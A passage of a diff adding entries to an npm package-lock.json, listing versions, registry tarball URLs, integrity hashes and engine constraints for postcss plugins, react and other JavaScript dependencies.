"https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize/-/postcss-normalize-10.0.1.tgz", + "integrity": "sha512-+5w18/rDev5mqERcG3W5GZNMJa1eoYYNGo8gB7tEwaos0ajk3ZXAI4mHGcNT47NE+ZnZD1pEpUOFLvltIwmeJA==", + "dependencies": { + "@csstools/normalize.css": "*", + "postcss-browser-comments": "^4", + "sanitize.css": "*" + }, + "engines": { + "node": ">= 12" + }, + "peerDependencies": { + "browserslist": ">= 4", + "postcss": ">= 8" + } + }, + "node_modules/postcss-normalize-charset": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", + "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-display-values": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", + "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-positions": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", + "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-repeat-style": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", + "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-string": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", + "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-timing-functions": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", + "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-unicode": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.1.tgz", + "integrity": "sha512-qnCL5jzkNUmKVhZoENp1mJiGNPcsJCs1aaRmURmeJGES23Z/ajaln+EPTD+rBeNkSryI+2WTdW+lwcVdOikrpA==", + "dependencies": { + "browserslist": "^4.21.4", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-url": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", + "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "dependencies": { + "normalize-url": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-normalize-whitespace": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", + "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-opacity-percentage": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-opacity-percentage/-/postcss-opacity-percentage-1.1.3.tgz", + "integrity": "sha512-An6Ba4pHBiDtyVpSLymUUERMo2cU7s+Obz6BTrS+gxkbnSBNKSuD0AVUc+CpBMrpVPKKfoVz0WQCX+Tnst0i4A==", + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-ordered-values": { + "version": "5.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", + "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "dependencies": { + "cssnano-utils": "^3.1.0", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-overflow-shorthand": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-overflow-shorthand/-/postcss-overflow-shorthand-3.0.4.tgz", + "integrity": "sha512-otYl/ylHK8Y9bcBnPLo3foYFLL6a6Ak+3EQBPOTR7luMYCOsiVTUk1iLvNf6tVPNGXcoL9Hoz37kpfriRIFb4A==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-page-break": { + "version": "3.0.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-page-break/-/postcss-page-break-3.0.4.tgz", + "integrity": "sha512-1JGu8oCjVXLa9q9rFTo4MbeeA5FMe00/9C7lN4va606Rdb+HkxXtXsmEDrIraQ11fGz/WvKWa8gMuCKkrXpTsQ==", + "peerDependencies": { + "postcss": "^8" + } + }, + "node_modules/postcss-place": { + "version": "7.0.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-place/-/postcss-place-7.0.5.tgz", + "integrity": "sha512-wR8igaZROA6Z4pv0d+bvVrvGY4GVHihBCBQieXFY3kuSuMyOmEnnfFzHl/tQuqHZkfkIVBEbDvYcFfHmpSet9g==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-preset-env": { + "version": "7.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-preset-env/-/postcss-preset-env-7.8.3.tgz", + "integrity": "sha512-T1LgRm5uEVFSEF83vHZJV2z19lHg4yJuZ6gXZZkqVsqv63nlr6zabMH3l4Pc01FQCyfWVrh2GaUeCVy9Po+Aag==", + "dependencies": { + "@csstools/postcss-cascade-layers": "^1.1.1", + "@csstools/postcss-color-function": "^1.1.1", + "@csstools/postcss-font-format-keywords": "^1.0.1", + "@csstools/postcss-hwb-function": "^1.0.2", + "@csstools/postcss-ic-unit": "^1.0.1", + "@csstools/postcss-is-pseudo-class": "^2.0.7", + "@csstools/postcss-nested-calc": "^1.0.0", + "@csstools/postcss-normalize-display-values": "^1.0.1", + "@csstools/postcss-oklab-function": "^1.1.1", + "@csstools/postcss-progressive-custom-properties": "^1.3.0", + "@csstools/postcss-stepped-value-functions": "^1.0.1", + "@csstools/postcss-text-decoration-shorthand": "^1.0.0", + "@csstools/postcss-trigonometric-functions": "^1.0.2", + "@csstools/postcss-unset-value": "^1.0.2", + "autoprefixer": "^10.4.13", + "browserslist": "^4.21.4", + "css-blank-pseudo": "^3.0.3", + "css-has-pseudo": "^3.0.4", + "css-prefers-color-scheme": "^6.0.3", + "cssdb": "^7.1.0", + "postcss-attribute-case-insensitive": "^5.0.2", + "postcss-clamp": "^4.1.0", + "postcss-color-functional-notation": "^4.2.4", + "postcss-color-hex-alpha": "^8.0.4", + "postcss-color-rebeccapurple": "^7.1.1", + "postcss-custom-media": "^8.0.2", + "postcss-custom-properties": "^12.1.10", + "postcss-custom-selectors": "^6.0.3", + "postcss-dir-pseudo-class": "^6.0.5", + "postcss-double-position-gradients": "^3.1.2", + "postcss-env-function": "^4.0.6", + "postcss-focus-visible": "^6.0.4", + "postcss-focus-within": "^5.0.4", + "postcss-font-variant": "^5.0.0", + "postcss-gap-properties": "^3.0.5", + "postcss-image-set-function": "^4.0.7", + "postcss-initial": "^4.0.1", + "postcss-lab-function": "^4.2.1", + "postcss-logical": "^5.0.4", + "postcss-media-minmax": "^5.0.0", + "postcss-nesting": "^10.2.0", + "postcss-opacity-percentage": "^1.1.2", + "postcss-overflow-shorthand": "^3.0.4", + "postcss-page-break": "^3.0.4", + "postcss-place": "^7.0.5", + "postcss-pseudo-class-any-link": "^7.1.6", + "postcss-replace-overflow-wrap": "^4.0.0", + "postcss-selector-not": "^6.0.1", + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-pseudo-class-any-link": { + "version": "7.1.6", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-pseudo-class-any-link/-/postcss-pseudo-class-any-link-7.1.6.tgz", + "integrity": "sha512-9sCtZkO6f/5ML9WcTLcIyV1yz9D1rf0tWc+ulKcvV30s0iZKS/ONyETvoWsr6vnrmW+X+KmuK3gV/w5EWnT37w==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-reduce-initial": { + "version": "5.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz", + "integrity": "sha512-dE/y2XRaqAi6OvjzD22pjTUQ8eOfc6m/natGHgKFBK9DxFmIm69YmaRVQrGgFlEfc1HePIurY0TmDeROK05rIg==", + "dependencies": { + "browserslist": "^4.21.4", + "caniuse-api": "^3.0.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-reduce-transforms": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", + "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "dependencies": { + "postcss-value-parser": "^4.2.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-replace-overflow-wrap": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-replace-overflow-wrap/-/postcss-replace-overflow-wrap-4.0.0.tgz", + "integrity": "sha512-KmF7SBPphT4gPPcKZc7aDkweHiKEEO8cla/GjcBK+ckKxiZslIu3C4GCRW3DNfL0o7yW7kMQu9xlZ1kXRXLXtw==", + "peerDependencies": { + "postcss": "^8.0.3" + } + }, + "node_modules/postcss-selector-not": { + "version": "6.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-selector-not/-/postcss-selector-not-6.0.1.tgz", + "integrity": "sha512-1i9affjAe9xu/y9uqWH+tD4r6/hDaXJruk8xn2x1vzxC2U3J3LKO3zJW4CyxlNhA56pADJ/djpEwpH1RClI2rQ==", + "dependencies": { + "postcss-selector-parser": "^6.0.10" + }, + "engines": { + "node": "^12 || ^14 || >=16" + }, + "peerDependencies": { + "postcss": "^8.2" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-svgo": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-svgo/-/postcss-svgo-5.1.0.tgz", + "integrity": "sha512-D75KsH1zm5ZrHyxPakAxJWtkyXew5qwS70v56exwvw542d9CRtTo78K0WeFxZB4G7JXKKMbEZtZayTGdIky/eA==", + "dependencies": { + "postcss-value-parser": "^4.2.0", + "svgo": "^2.7.0" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-svgo/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/postcss-svgo/node_modules/css-tree": { + "version": "1.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/css-tree/-/css-tree-1.1.3.tgz", + "integrity": "sha512-tRpdppF7TRazZrjJ6v3stzv93qxRcSsFmW6cX0Zm2NVKpxE1WV1HblnghVv9TreireHkqI/VDEsfolRF1p6y7Q==", + "dependencies": { + "mdn-data": "2.0.14", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/postcss-svgo/node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "node_modules/postcss-svgo/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postcss-svgo/node_modules/svgo": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/svgo/-/svgo-2.8.0.tgz", + "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==", + "dependencies": { + "@trysound/sax": "0.2.0", + "commander": "^7.2.0", + "css-select": "^4.1.3", + "css-tree": "^1.1.3", + "csso": "^4.2.0", + "picocolors": "^1.0.0", + "stable": "^0.1.8" + }, + "bin": { + "svgo": "bin/svgo" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/postcss-unique-selectors": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-unique-selectors/-/postcss-unique-selectors-5.1.1.tgz", + "integrity": "sha512-5JiODlELrz8L2HwxfPnhOWZYWDxVHWL83ufOv84NrcgipI7TaeRsatAhK4Tr2/ZiYldpK/wBvw5BD3qfaK96GA==", + "dependencies": { + "postcss-selector-parser": "^6.0.5" + }, + "engines": { + "node": "^10 || ^12 || >=14.0" + }, + "peerDependencies": { + "postcss": "^8.2.15" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==" + }, + "node_modules/prelude-ls": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prelude-ls/-/prelude-ls-1.2.1.tgz", + "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/pretty-bytes": { + "version": "5.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/pretty-error": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", + "dependencies": { + "lodash": "^4.17.20", + "renderkid": "^3.0.0" + } + }, + "node_modules/pretty-format": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/pretty-format/-/pretty-format-27.5.1.tgz", + "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==", + "dependencies": { + "ansi-regex": "^5.0.1", + "ansi-styles": "^5.0.0", + "react-is": "^17.0.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/pretty-format/node_modules/ansi-styles": { + "version": "5.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-5.2.0.tgz", + "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + }, + "node_modules/promise": { + "version": "8.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/promise/-/promise-8.3.0.tgz", + "integrity": "sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==", + "dependencies": { + "asap": "~2.0.6" + } + }, + "node_modules/prompts": { + "version": "2.4.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prompts/-/prompts-2.4.2.tgz", + "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==", + "dependencies": { + "kleur": "^3.0.3", + "sisteransi": "^1.0.5" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/prop-types/node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/proxy-addr": { + "version": "2.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/proxy-addr/-/proxy-addr-2.0.7.tgz", + "integrity": "sha512-llQsMLSUDUPT44jdrU/O37qlnifitDP+ZwrmmZcoSKyLKvtZxpyV0n2/bD/N4tBAAZ/gJEdZU7KMraoK1+XYAg==", + "dependencies": { + "forwarded": "0.2.0", + "ipaddr.js": "1.9.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/proxy-addr/node_modules/ipaddr.js": { + "version": "1.9.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ipaddr.js/-/ipaddr.js-1.9.1.tgz", + "integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/psl": { + "version": "1.9.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/psl/-/psl-1.9.0.tgz", + "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==" + }, + "node_modules/punycode": { + "version": "2.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/punycode/-/punycode-2.3.0.tgz", + "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/q": { + "version": "1.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/q/-/q-1.5.1.tgz", + "integrity": "sha512-kV/CThkXo6xyFEZUugw/+pIOywXcDbFYgSct5cT3gqlbkBE1SJdwy6UQoZvodiWF/ckQLZyDE/Bu1M6gVu5lVw==", + "engines": { + "node": ">=0.6.0", + "teleport": ">=0.2.0" + } + }, + "node_modules/qs": { + "version": "6.13.0", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.13.0.tgz", + "integrity": "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg==", + "dependencies": { + "side-channel": "^1.0.6" + }, + "engines": { + "node": ">=0.6" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/querystringify": { + "version": "2.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/querystringify/-/querystringify-2.2.0.tgz", + "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==" + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==" + }, + "node_modules/raf": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "dependencies": { + "performance-now": "^2.1.0" + } + }, + "node_modules/randombytes": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/randombytes/-/randombytes-2.1.0.tgz", + "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", + "dependencies": { + "safe-buffer": "^5.1.0" + } + }, + "node_modules/range-parser": { + "version": "1.2.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/range-parser/-/range-parser-1.2.1.tgz", + "integrity": "sha512-Hrgsx+orqoygnmhFbKaHE6c296J+HTAQXoxEF6gNupROmmGJRoyzfG3ccAveqCBrwr/2yxQ5BVd/GTl5agOwSg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/raw-body": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.5.2.tgz", + "integrity": "sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==", + "dependencies": { + "bytes": "3.1.2", + "http-errors": "2.0.0", + "iconv-lite": "0.4.24", + "unpipe": "1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/raw-body/node_modules/iconv-lite": { + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react": { + "version": "18.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-app-polyfill": { + "version": "3.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz", + "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==", + "dependencies": { + "core-js": "^3.19.2", + "object-assign": "^4.1.1", + "promise": "^8.1.0", + "raf": "^3.4.1", + "regenerator-runtime": "^0.13.9", + "whatwg-fetch": "^3.6.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils": { + "version": "12.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": 